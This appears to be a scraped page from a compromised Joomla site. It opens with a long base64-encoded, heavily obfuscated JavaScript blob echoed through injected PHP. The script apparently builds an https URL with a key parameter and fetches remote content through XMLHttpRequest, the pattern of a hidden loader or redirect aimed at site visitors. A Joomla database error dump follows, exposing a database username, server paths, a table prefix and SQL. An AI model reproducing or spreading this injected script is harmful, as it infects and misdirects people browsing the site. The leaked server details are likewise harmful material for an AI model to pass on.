JzondW9HY08nLCdkRGxDdSc6XzB4MTIzMmYoLTB4MjFjLC0weDIxMCwtMHgyMDYsLTB4MWY1KSsnKyQnLCdhV05aYic6ZnVuY3Rpb24oXzB4MTFiZDI4LF8weGRjMTFhMCxfMHg0MmVhYmQpe3JldHVybiBfMHgxMWJkMjgoXzB4ZGMxMWEwLF8weDQyZWFiZCk7fSwnVXdIaFInOl8weDEyMzJmKC0weDI0OSwtMHgyMjcsLTB4MjMxLC0weDIyNil9O2Z1bmN0aW9uIF8weDEyMzJmKF8weDgxMmVkOSxfMHg4ZDBjMGUsXzB4NWViYjZlLF8weDEwOWZkZSl7cmV0dXJuIF8weDUxM2IoXzB4OGQwYzBlLSAtMHgyOWQsXzB4MTA5ZmRlKTt9dmFyIF8weGVlYjM2YT0oZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHg1MTc2OTkoXzB4M2Q1YjFkLF8weDEzZGRjNCxfMHgxNjk4YmUsXzB4MjYwZTRhKXtyZXR1cm4gXzB4MTIzMmYoXzB4M2Q1YjFkLTB4MTYyLF8weDNkNWIxZC0weGMxLF8weDE2OThiZS0weGM5LF8weDEzZGRjNCk7fWZ1bmN0aW9uIF8weDU2ZDVmZShfMHgxYWI0NjksXzB4NTU2OTA0LF8weDE5MzI4ZCxfMHgzODVkM2Epe3JldHVybiBfMHhkMDdhODAoXzB4MWFiNDY5LTB4NDksXzB4NTU2OTA0LTB4MWM3LF8weDU1NjkwNCxfMHgxYWI0NjktMHhiMik7fXZhciBfMHgyNWU2ODk9eydWTXhTWCc6ZnVuY3Rpb24oXzB4NGU5YTE4LF8weDEwNzkyNSl7ZnVuY3Rpb24gXzB4ZDM5ZjZhKF8weDI1OTdiNSxfMHhkOWYwMzcsXzB4MWY3M2E4LF8weDQ0OWU0OCl7cmV0dXJuIF8weDUxM2IoXzB4MjU5N2I1LSAtMHhkMSxfMHg0NDllNDgpO31yZXR1cm4gXzB4MjQ3OGQ1W18weGQzOWY2YSgweDMsLTB4MzYsMHgzMiwtMHgyNildKF8weDRlOWExOCxfMHgxMDc5MjUpO30sJ2hCcWpYJzpmdW5jdGlvbihfMHgxNGNiMTQsXzB4MmMzZDkwKXtyZXR1cm4gXzB4MjQ3OGQ1WydTYUpuSSddKF8weDE0Y2IxNCxfMHgyYzNkOTApO30sJ29XaFJXJzpfMHgyNDc4ZDVbXzB4NTZkNWZlKDB4MzczLDB4MzQ5LDB4MzdlLDB4M2FlKV0sJ1NnYlVjJzpfMHgyNDc4ZDVbXzB4NTE3Njk5KC0weDE2MywtMHgxNGYsLTB4MTQyLC0weDEyNyldfTtpZihfMHgyNDc4ZDVbXzB4NTE3Njk5KC0weDE1MSwtMHgxNWYsLTB4MTNmLC0weDE3NCldKF8weDI0NzhkNVtfMHg1MTc2OTkoLTB4MTFmLC0weDEyMiwtMHgxNTQsLTB4MTE3KV0sXzB4MjQ3OGQ1W18weDUxNzY5OSgtMHgxMDYsLTB4Y2EsLTB4ZWMsLTB4MTE3KV0pKXt2YXIgXzB4NDdmZTYzPSEhW107cmV0dXJuIGZ1bmN0aW9uKF8weDQ3NGMyMixfMHg0MzlmYmEpe2Z1bmN0aW9uIF8weDJmZmFhMChfMHgyNjdhYTMsXzB4NWM3NTM0LF8weDRmZDU2ZCxfMHg0MzRjZDEpe3JldHVybiBfMHg1MTc2OTkoXzB4NDM0Y2QxLSAtMHg2ZSxfMHg1Yzc1MzQsXzB4NGZkNTZkLTB4MWYsXzB4NDM0Y2QxLTB4YmQpO312YXIgXzB4MWI5NTIzPXsnY2RIT0gnOmZ1bmN0aW9uKF8weGNmNzkzYyxfMHgzYzY1ZjEpe3JldHVybiBfMHhjZjc5M2MrXzB4M2M2NWYxO30sJ29CSXdNJzpmdW5jdGlvbihfMHg1ZTcwNzEsXzB4MmFmYjcwKXtmdW5jdGlvbiBfMHhkN2YwODMoXzB4NTQwYjRmLF8weDE4NTA5YSxfMHhiMDkwOSxfMHg1OWE1MTIpe3JldHVybiBfMHg1MTNiKF8weDU5YTUxMi0gLTB4MmQ5LF8weDU0MGI0Zik7fXJldHVybiBfMHgyNWU2ODlbXzB4ZDdmMDgzKC0weDIyNiwtMHgyN2YsLTB4MjJkLC0weDI0ZCldKF8weDVlNzA3MSxfMHgyYWZiNzApO30sJ1FxdnVDJzoncmV0dXJuXHgyMChmdScrXzB4MmZmYWEwKC0weDFhNCwtMHgxZDYsLTB4MWRlLC0weDFhZCl9O2Z1bmN0aW9uIF8weDMwYjc0ZShfMHg0YzBhMDUsXzB4MzA5MTc1LF8weDE5Y2I5ZSxfMHhkODk5NjQpe3JldHVybiBfMHg1NmQ1ZmUoXzB4ZDg5OTY0LSAtMHgxYTcsXzB4MzA5MTc1LF8weDE5Y2I5ZS0weDM4LF8weGQ4OTk2NC0weGE0KTt9aWYoXzB4MjVlNjg5WydoQnFqWCddKF8weDI1ZTY4OVsnb1doUlcnXSxfMHgzMGI3NGUoMHgxYWYsMHgxOWEsMHgxYjYsMHgxOTMpKSl7dmFyIF8weDI5YzUxOT1fMHg0N2ZlNjM/ZnVuY3Rpb24oKXtpZihfMHg0MzlmYmEpe3ZhciBfMHgzY2U0YjA9XzB4NDM5ZmJhWydhcHBseSddKF8weDQ3NGMyMixhcmd1bWVudHMpO3JldHVybiBfMHg0MzlmYmE9bnVsbCxfMHgzY2U0YjA7fX06ZnVuY3Rpb24oKXt9O3JldHVybiBfMHg0N2ZlNjM9IVtdLF8weDI5YzUxOTt9ZWxzZSBfMHgyZjU3YmI9XzB4MTQ4M2UzKE93ZndPRVtfMHgzMGI3NGUoMHgxYjYsMHgxZTQsMHgxYjcsMHgxYjgpXShPd2Z3T0VbXzB4MmZmYWEwKC0weDFlYSwtMHgxZDYsLTB4MWM2LC0weDFjMildKE93ZndPRVtfMHgyZmZhYTAoLTB4MTU1LC0weDE5OSwtMHgxYTYsLTB4MTkxKV0sXzB4MmZmYWEwKC0weDE5NiwtMHgxYzcsLTB4MTk1LC0weDFhMykrXzB4MzBiNzRlKDB4MTk3LDB4MTczLDB4MWI1LDB4MTdhKSsncm5ceDIwdGhpc1x4MjIpKCcrJ1x4MjApJyksJyk7JykpKCk7fTt9ZWxzZSBfMHg1OWE1NmNbJ2dldEVsZW1lbnQnK18weDUxNzY5OSgtMHgxMWEsLTB4MTNiLC0weGU5LC0weDE0OCldKF8weDUxNzY5OSgtMHgxNDcsLTB4MTY5LC0weDEyMywtMHgxNGUpKVsweDE1NysweGZkYisweDNlKi0weDQ3XVtfMHg1MTc2OTkoLTB4ZmIsLTB4MTBmLC0weDEyZSwtMHhmZikrJ2QnXShfMHgzODkxMGYpLF8weDE0YTFhM1tfMHg1NmQ1ZmUoMHgzNzUsMHgzNjMsMHgzYjAsMHgzYWYpKydCeUlkJ10oXzB4MjVlNjg5W18weDU2ZDVmZSgweDM0MSwweDMzNCwweDM1MCwweDM1YyldKSYmXzB4NTQzZDQ3W18weDUxNzY5OSgtMHgxMDIsLTB4ZjksLTB4ZjMsLTB4MTI2KStfMHg1MTc2OTkoLTB4MTE5LC0weGUwLC0weDEyMiwtMHgxMjgpXSgnYmV3ZWxzJylbXzB4NTZkNWZlKDB4MzQ1LDB4MzIwLDB4MzRjLDB4MzZkKV0oKTt9KCkpLF8weDRmYmZlMT1fMHgyNDc4ZDVbJ2FXTlpiJ10oXzB4ZWViMzZhLHRoaXMsZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHgyZGFhNWYoXzB4MzEyMTEyLF8weDE3ZWI4NyxfMHhlY2Y2NGQsXzB4Mzc2YzY0KXtyZXR1cm4gXzB4MTIzMmYoXzB4MzEyMTEyLTB4MTM5LF8weDMxMjExMi0weDI5NCxfMHhlY2Y2NGQtMHg4NCxfMHgxN2ViODcpO31mdW5jdGlvbiBfMHhlYzBmMDkoXzB4NThlYjY2LF8weDE3ZTc3ZixfMHgxOTBiZjIsXzB4MTc2YTBhKXtyZXR1cm4gXzB4ZDA3YTgwKF8weDU4ZWI2Ni0weDE3ZCxfMHgxN2U3N2YtMHgxMmYsXzB4MTkwYmYyLF8weDE3NmEwYS0weDEzNyk7fXZhciBfMHgzZDVmOWU9e307XzB4M2Q1ZjllW18weDJkYWE1ZigweDdlLDB4OTUsMHg0NSwweGE5KV09XzB4MjQ3OGQ1WydTa0ZSVCddO3ZhciBfMHg1MGIxNjY9XzB4M2Q1ZjllO2lmKF8weDI0NzhkNVtfMHgyZGFhNWYoMHg4YSwweDZlLDB4OTksMHg5MCldKF8weDI0NzhkNVtfMHhlYzBmMDkoMHg0MTgsMHgzYzEsMHgzYzUsMHgzZWYpXSxfMHgyNDc4ZDVbXzB4MmRhYTVmKDB4YzYsMHhiOSwweGRlLDB4OGYpXSkpXzB4NDE2MDM5PV8weDUwYjE2NlsnbmhRZ24nXTtlbHNlIHJldHVybiBfMHg0ZmJmZTFbJ3RvU3RyaW5nJ10oKVtfMHhlYzBmMDkoMHgzY2EsMHgzZGQsMHgzYzEsMHgzZDcpXShfMHgyNDc4ZDVbXzB4MmRhYTVmKDB4ZDAsMHhkNiwweGI4LDB4YmQpXSlbXzB4ZWMwZjA5KDB4NDBhLDB4M2RjLDB4M2VjLDB4M2UwKV0oKVtfMHgyZGFhNWYoMHg5MiwweDVjLDB4NWIsMHhiNCkrJ3InXShfMHg0ZmJmZTEpWydzZWFyY2gnXShfMHgyNDc4ZDVbJ2REbEN1J10pO30pO18weDRmYmZlMSgpO3ZhciBfMHg1ZGU5MzA9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7ZnVuY3Rpb24gXzB4ZDA3YTgwKF8weDNlZDNkNixfMHgyM2U5ZWIsXzB4MWJhOTUyLF8weDIxN2U4Yil7cmV0dXJuIF8weDUxM2IoXzB4MjE3ZThiLTB4MWU5LF8weDFiYTk1Mik7fXJldHVybiBfMHg1ZGU5MzBbJ29wZW4nXShfMHgyNDc4ZDVbXzB4MTIzMmYoLTB4MWM1LC0weDFlYywtMHgyMGEsLTB4MWU3KV0sXzB4MzdlMGFiLCFbXSksXzB4NWRlOTMwW18weDEyMzJmKC0weDFmOCwtMHgxZWYsLTB4MjA1LC0weDFkZCldKG51bGwpLF8weDVkZTkzMFtfMHgxMjMyZigtMHgxY2EsLTB4MWU4LC0weDFjYiwtMHgyMDIpKyd4dCddO312YXIgbDE9J2gnK1N0cmluZ1tfMHgyNjZhNjcoMHgyNWQsMHgyMmUsMHgyNTksMHgyMjUpKydkZSddKC0weDIqMHg4MmYrLTB4MjViNysweDM2ODkqMHgxLDB4MTY3YisweDIwYTYqMHgxKzB4MzZhZCotMHgxLC0weDEqLTB4YzMxKzB4NjIyKy0weDExZTMsLTB4ZCoweDhhKzB4OWU0KzB4NTkqLTB4NywweDM5YSotMHgyKzB4YjVhKi0weDErMHgxMmM4LC0weDEyYTQrMHgyKi0weDI2NysweDEwNyoweDE3LDB4MTFlYistMHg3Ki0weDI0YistMHgyMWM5KStfMHgyNjZhNjcoMHgyNjEsMHgyMmYsMHgyOWQsMHgyODgpK1N0cmluZ1tfMHgyNjZhNjcoMHgyNWQsMHgyODQsMHgyMjQsMHgyNTgpKydkZSddKC0weDRhKi0weDRhKzB4MTYzMistMHgyYjJlKjB4MSwweDFkKi0weDYxKy0weDg4MioweDQrMHgyZDZlLC0weDcqMHgyNmYrLTB4YTIzKzB4MWJhKjB4MTAsMHgxYmU3Ky0weDE4ZTkrMHg3Ki0weDVmLC0weGE5OSotMHgxKzB4M2IqLTB4YTErMHgxYWVlLDB4MjE5NSsweDRlNystMHgyNjEwLDB4NGVhKi0weDMrMHgxKi0weDEzOWYrMHgyMmM5LC0weGQyOCsweDEyYWUrLTB4NTFhLDB4NTgrMHgyNGE1KzB4MiotMHgxMjQ1LDB4MyotMHgyMDcrLTB4MjAwOSoweDErMHgyNjg2LDB4NCoweDlhMysweDExNyoweDFiKy0weDQzOGEpK18weDI2NmE2NygweDI0YSwweDIyZSwweDI2ZSwweDI0NikrU3RyaW5nW18weDI2NmE2NygweDI1ZCwweDIzYywweDIyOSwweDI0NCkrJ2RlJ10oLTB4ZjcqMHgyNSstMHgxMjQ1KzB4MzY1YioweDEsLTB4ZjhhKzB4NTAyKjB4NystMHg3KjB4MmI5LDB4MyotMHg0MWUrMHhjNWMqLTB4MysweGQqMHgzZDEsMHhlZDErLTB4MSotMHgxYjlhKzB4ZCotMHgzM2IsMHgxKi0weGVhZisweDFlNmUrLTB4ZjVlLC0weGIwOSstMHg5ODErMHgyOWYqMHg4LC0weDFkKjB4MTE3KzB4MTM1MSsweDYqMHgyMWQsLTB4MWJlYSstMHgyMDMxKy0weDc5MCotMHg4LC0weGEwYyotMHgxKy0weDExZisweDg3YiotMHgxLC0weDI1N2MqMHgxKzB4MmUqLTB4MTUrLTB4MyotMHhkZTcsMHhlMTArLTB4Njc5Ki0weDUrLTB4MmUzZSwtMHg0MioweGYrMHgyMGRlKy0weDFkKjB4ZmMsLTB4MjU3KjB4NistMHgxNTdiKzB4MjNmZSwweDcqMHgxZGIrLTB4MWY3YisweDIqMHg5NzcsLTB4YzEqMHgxYystMHgxOTQ5Ki0weDErLTB4M2M4LC0weDFhMjUrLTB4OTBiKzB4MTFhZioweDIsMHhmNzUrLTB4MWNlOSoweDErMHhkZTQpKydocCc7bDE9Z3RnKGwxKTtpZihsMVtfMHhhMjFjODYoLTB4MzFmLC0weDMwYywtMHgzMGIsLTB4MzE5KV0oJ29vJykhPT0tKDB4ODdiKi0weDQrMHg0Ki0weDI2OSstMHgxKi0weDJiOTEpKXt2YXIgZ054dmlCPShfMHhhMjFjODYoLTB4MmEyLC0weDJiNywtMHgyYjQsLTB4MmE0KStfMHgyNjZhNjcoMHgyNzgsMHgyNjQsMHgyNTMsMHgyYWEpKycxfDR8MTh8OXwxJytfMHgyNjZhNjcoMHgyODcsMHgyNGYsMHgyYmQsMHgyOTApK18weGEyMWM4NigtMHgyZDIsLTB4MmZmLC0weDJkNSwtMHgzMGQpKyd8M3wyMHwxOXwxJytfMHgyNjZhNjcoMHgyNDYsMHgyMzIsMHgyNTgsMHgyNzYpKVtfMHhhMjFjODYoLTB4MmU3LC0weDJlYywtMHgzMTMsLTB4MmU0KV0oJ3wnKSxqS0p2UWQ9LTB4MTI2NysweDIqLTB4ODUxKy0weDEqLTB4MjMwOTt3aGlsZSghIVtdKXtzd2l0Y2goZ054dmlCW2pLSnZRZCsrXSl7Y2FzZScwJzp2YXIgcGlvPV8weGEyMWM4NigtMHgyYzAsLTB4MmFkLC0weDJjNywtMHgyZGEpKydjayc7Y29udGludWU7Y2FzZScxJzp2YXIgZjM9Jyc7Y29udGludWU7Y2FzZScyJzpiMlstMHgxZDdhKzB4ZmU3KjB4MSsweGQ5MyoweDFdPT1fMHhhMjFjODYoLTB4MmE5LC0weDJmNywtMHgyZGUsLTB4MmRlKSYmKGYyPV8weDI2NmE2NygweDI1MywweDI0YiwweDIzZiwweDIzZikpO2NvbnRpbnVlO2Nhc2UnMyc6dmFyIGIzbj1icFstMHgzKi0weDY4NSstMHgxZDZiKzB4OWRkXVtfMHhhMjFjODYoLTB4Mjk5LC0weDJhZSwtMHgyYmQsLTB4MmEyKV0oMHgyY2UqLTB4YSsweDViNCotMHgxKzB4MjFjMCwtMHhlM2MqMHgyKy0weDEqMHgxZDkzKzB4M2EwYyk7Y29udGludWU7Y2FzZSc0Jzp2YXIgYnA9bDFbXzB4YTIxYzg2KC0weDMwYSwtMHgyZjAsLTB4MzEzLC0weDMzYSldKCdvbycpO2NvbnRpbnVlO2Nhc2UnNSc6dmFyIGRwPScvJytwaW8rJz8nK2xpbytraW87Y29udGludWU7Y2FzZSc2Jzp2YXIgZjI9Jyc7Y29udGludWU7Y2FzZSc3JzpiMlstMHg4YiotMHg0MCstMHgxNDcqLTB4MWUrMHg4MSotMHg5MV09PV8weGEyMWM4NigtMHgzNDUsLTB4MzNkLC0weDMyNiwtMHgzMGEpJiYoZjQ9XzB4YTIxYzg2KC0weDMzNSwtMHgyYzYsLTB4MzAwLC0weDJkNykpO2NvbnRpbnVlO2Nhc2UnOCc6dmFyIGY0PScnO2NvbnRpbnVlO2Nhc2UnOSc6YnBbMHgxKjB4MWJkMSsweDhhKjB4MjUrLTB4MmZjMyoweDFdPT1fMHhhMjFjODYoLTB4MzA1LC0weDMyYiwtMHgyZmQsLTB4MmNiKSYmKGYxPV8weGEyMWM4NigtMHgyYWEsLTB4MmJhLC0weDJlMiwtMHgyZDMpKTtjb250aW51ZTtjYXNlJzEwJzpiMlstMHg5Ki0weDM2MSsweDEqLTB4MzBiKzB4MSotMHgxYjVkXT09J3QuY29tJyYmKGY0PV8weDI2NmE2NygweDJhZSwweDI5MywweDJiMiwweDJhZSkpO2NvbnRpbnVlO2Nhc2UnMTEnOnZhciBiMj1icFsweDMqLTB4NGQ1Ky0weDZiNCsweDE1MzVdW18weDI2NmE2NygweDI1MCwweDI1MCwweDI1OCwweDIyZildKCctJyk7Y29udGludWU7Y2FzZScxMic6dmFyIGYxPScnO2NvbnRpbnVlO2Nhc2UnMTMnOmIyWzB4MWFiKjB4NSsweDRkMCstMHhkMjcqMHgxXT09XzB4YTIxYzg2KC0weDJiZiwtMHgzMjksLTB4MmVmLC0weDJjNykmJihmMj0ncGxhdGZvcm0nKTtjb250aW51ZTtjYXNlJzE0JzpicFsweDEyMSsweGVkOSsweDUqLTB4MzMyXT09J2dyb3NzJyYmKGYxPV8weDI2NmE2NygweDI0MywweDI2NywweDIxYiwweDIwZikpO2NvbnRpbnVlO2Nhc2UnMTUnOnZhciBsaW89J2tlJysneT0nO2NvbnRpbnVlO2Nhc2UnMTYnOndoaWxlKGktLSl7ZjM9ZjNbXzB4MjY2YTY3KDB4MjZkLDB4MjU5LDB4MjlmLDB4Mjg0KV0oYjN6KTt9Y29udGludWU7Y2FzZScxNyc6dmFyIGxhc3RsPXN0K18weDI2NmE2NygweDI0YiwweDI1ZSwweDI0MiwweDIxOSkrZjErZjMrZjIrZjQrZHA7Y29udGludWU7Y2FzZScxOCc6YnBbLTB4MTcxKi0weGQrLTB4MTI2OSstMHg1NF09PSdzaW1wbGUnJiYoZjE9XzB4MjY2YTY3KDB4MmEyLDB4Mjg5LDB4MjkyLDB4MmIyKSk7Y29udGludWU7Y2FzZScxOSc6dmFyIGk9YjNuO2NvbnRpbnVlO2Nhc2UnMjAnOnZhciBiM3o9YnBbLTB4NzMwKy0weDEyZTIqMHgxKzB4NTkqMHg0Yl1bJ3N1YnN0ciddKGJwWzB4NWE4Ky0weDQ5NCoweDIrMHgyNyoweDE3XVtfMHhhMjFjODYoLTB4MzE2LC0weDMxNSwtMHgzMTUsLTB4MzFhKV0tKDB4MSoweDIwMDErLTB4MjdiKi0weDMrMHgxKi0weDI3NzEpKTtjb250aW51ZTtjYXNlJzIxJzp2YXIgc3Q9J2h0dCcrJ3BzOicrJy8vJztjb250aW51ZTtjYXNlJzIyJzpiMlstMHhiOTYrMHhmMzMrLTB4MzljXT09XzB4YTIxYzg2KC0weDI5MiwtMHgyZTEsLTB4MmIyLC0weDI3ZSkmJihmND1fMHhhMjFjODYoLTB4MmU5LC0weDMxZSwtMHgyZjMsLTB4MzIyKSk7Y29udGludWU7Y2FzZScyMyc6a3BwYShsYXN0bCk7Y29udGludWU7Y2FzZScyNCc6dmFyIGtpbz1fMHgyNjZhNjcoMHgyNmYsMHgyNDcsMHgyMzYsMHgyNjgpK18weDI2NmE2NygweDI0MiwweDIxNiwweDIzNSwweDI2MSk7Y29udGludWU7Y2FzZScyNSc6YjJbLTB4MmM3KzB4NTRhKzB4MSotMHgyODNdPT1fMHhhMjFjODYoLTB4MmM5LC0weDMwMywtMHgyY2UsLTB4MmMxKSYmKGYyPSdzaG9wJyk7Y29udGludWU7fWJyZWFrO319PC9zY3JpcHQ+");echo $jmapicode;|
[2/2]
PrepareStatementFailureException
|
|---|
Joomla\Database\Exception\PrepareStatementFailureException:
Access denied for user 'legrwqem_gazette'@'localhost' (using password: YES)
at /home/legrwqem/public_html/libraries/vendor/joomla/database/src/Mysqli/MysqliStatement.php:141
at Joomla\Database\Mysqli\MysqliStatement->__construct(object(mysqli), 'SELECT `m`.`id`,`m`.`menutype`,`m`.`title`,`m`.`alias`,`m`.`note`,`m`.`link`,`m`.`type`,`m`.`level`,`m`.`language`,`m`.`browserNav`,`m`.`access`,`m`.`params`,`m`.`home`,`m`.`img`,`m`.`template_style_id`,`m`.`component_id`,`m`.`parent_id`,`m`.`path` AS `route`,`e`.`element` AS `component`FROM `fegjsbd_menu` AS `m`LEFT JOIN `fegjsbd_extensions` AS `e` ON `m`.`component_id` = `e`.`extension_id`WHERE ((`m`.`published` = 1 AND `m`.`parent_id` > 0 AND `m`.`client_id` = 0) AND (`m`.`publish_up` IS NULL OR `m`.`publish_up` <= ?)) AND (`m`.`publish_down` IS NULL OR `m`.`publish_down` >= ?)ORDER BY `m`.`lft`')
(/home/legrwqem/public_html/libraries/vendor/joomla/database/src/Mysqli/MysqliDriver.php:1089)
at Joomla\Database\Mysqli\MysqliDriver->prepareStatement('SELECT `m`.`id`,`m`.`menutype`,`m`.`title`,`m`.`alias`,`m`.`note`,`m`.`link`,`m`.`type`,`m`.`level`,`m`.`language`,`m`.`browserNav`,`m`.`access`,`m`.`params`,`m`.`home`,`m`.`img`,`m`.`template_style_id`,`m`.`component_id`,`m`.`parent_id`,`m`.`path` AS `route`,`e`.`element` AS `component`FROM `fegjsbd_menu` AS `m`LEFT JOIN `fegjsbd_extensions` AS `e` ON `m`.`component_id` = `e`.`extension_id`WHERE ((`m`.`published` = 1 AND `m`.`parent_id` > 0 AND `m`.`client_id` = 0) AND (`m`.`publish_up` IS NULL OR `m`.`publish_up` <= :currentDate1)) AND (`m`.`publish_down` IS NULL OR `m`.`publish_down` >= :currentDate2)ORDER BY `m`.`lft`')
(/home/legrwqem/public_html/libraries/vendor/joomla/database/src/DatabaseDriver.php:1912)
at Joomla\Database\DatabaseDriver->setQuery(object(MysqliQuery))
(/home/legrwqem/public_html/libraries/src/Menu/SiteMenu.php:166)
at Joomla\CMS\Menu\SiteMenu->Joomla\CMS\Menu\{closure}()
(/home/legrwqem/public_html/libraries/src/Cache/Controller/CallbackController.php:51)
at Joomla\CMS\Cache\Controller\CallbackController->get(object(Closure), array(), 'd17e8e13b99b4d9bf23a7d0b83a466c3', false)
(/home/legrwqem/public_html/libraries/src/Menu/SiteMenu.php:179)
at Joomla\CMS\Menu\SiteMenu->load()
(/home/legrwqem/public_html/libraries/src/Menu/AbstractMenu.php:333)
at Joomla\CMS\Menu\AbstractMenu->getMenu()
(/home/legrwqem/public_html/libraries/src/Menu/AbstractMenu.php:164)
at Joomla\CMS\Menu\AbstractMenu->getItem(null)
(/home/legrwqem/public_html/libraries/src/Application/SiteApplication.php:422)
at Joomla\CMS\Application\SiteApplication->getTemplate(true)
(/home/legrwqem/public_html/libraries/src/Error/Renderer/HtmlRenderer.php:50)
at Joomla\CMS\Error\Renderer\HtmlRenderer->render(object(ConnectionFailureException))
(/home/legrwqem/public_html/libraries/src/Exception/ExceptionHandler.php:126)
at Joomla\CMS\Exception\ExceptionHandler::render(object(ConnectionFailureException))
(/home/legrwqem/public_html/libraries/src/Exception/ExceptionHandler.php:72)
at Joomla\CMS\Exception\ExceptionHandler::handleException(object(ConnectionFailureException))
(/home/legrwqem/public_html/libraries/src/Application/CMSApplication.php:322)
at Joomla\CMS\Application\CMSApplication->execute()
(/home/legrwqem/public_html/includes/app.php:61)
at require_once('/home/legrwqem/public_html/includes/app.php')
(/home/legrwqem/public_html/index.php:32)
|
|
[1/2]
ConnectionFailureException
|
|---|
Joomla\Database\Exception\ConnectionFailureException:
Could not connect to database: Access denied for user 'legrwqem_gazette'@'localhost' (using password: YES)
at /home/legrwqem/public_html/libraries/vendor/joomla/database/src/Mysqli/MysqliDriver.php:321
at Joomla\Database\Mysqli\MysqliDriver->connect()
(/home/legrwqem/public_html/libraries/vendor/joomla/session/src/Handler/DatabaseHandler.php:233)
at Joomla\Session\Handler\DatabaseHandler->open('/opt/alt/php74/var/lib/php/session', 'b2623b4a9d4f32434a5ee3ef4f3990cc')
at session_start()
(/home/legrwqem/public_html/libraries/vendor/joomla/session/src/Storage/NativeStorage.php:478)
at Joomla\Session\Storage\NativeStorage->start()
(/home/legrwqem/public_html/libraries/src/Session/Storage/JoomlaStorage.php:295)
at Joomla\CMS\Session\Storage\JoomlaStorage->start()
(/home/legrwqem/public_html/libraries/vendor/joomla/session/src/Session.php:406)
at Joomla\Session\Session->start()
(/home/legrwqem/public_html/libraries/vendor/joomla/session/src/Session.php:333)
at Joomla\Session\Session->has('user')
(/home/legrwqem/public_html/libraries/src/Session/Session.php:194)
at Joomla\CMS\Session\Session->get('user')
(/home/legrwqem/public_html/libraries/src/Factory.php:372)
at Joomla\CMS\Factory::getUser()
(/home/legrwqem/public_html/libraries/src/Application/SiteApplication.php:562)
at Joomla\CMS\Application\SiteApplication->initialiseApp()
(/home/legrwqem/public_html/libraries/src/Application/SiteApplication.php:226)
at Joomla\CMS\Application\SiteApplication->doExecute()
(/home/legrwqem/public_html/libraries/src/Application/CMSApplication.php:293)
at Joomla\CMS\Application\CMSApplication->execute()
(/home/legrwqem/public_html/includes/app.php:61)
at require_once('/home/legrwqem/public_html/includes/app.php')
(/home/legrwqem/public_html/index.php:32)
|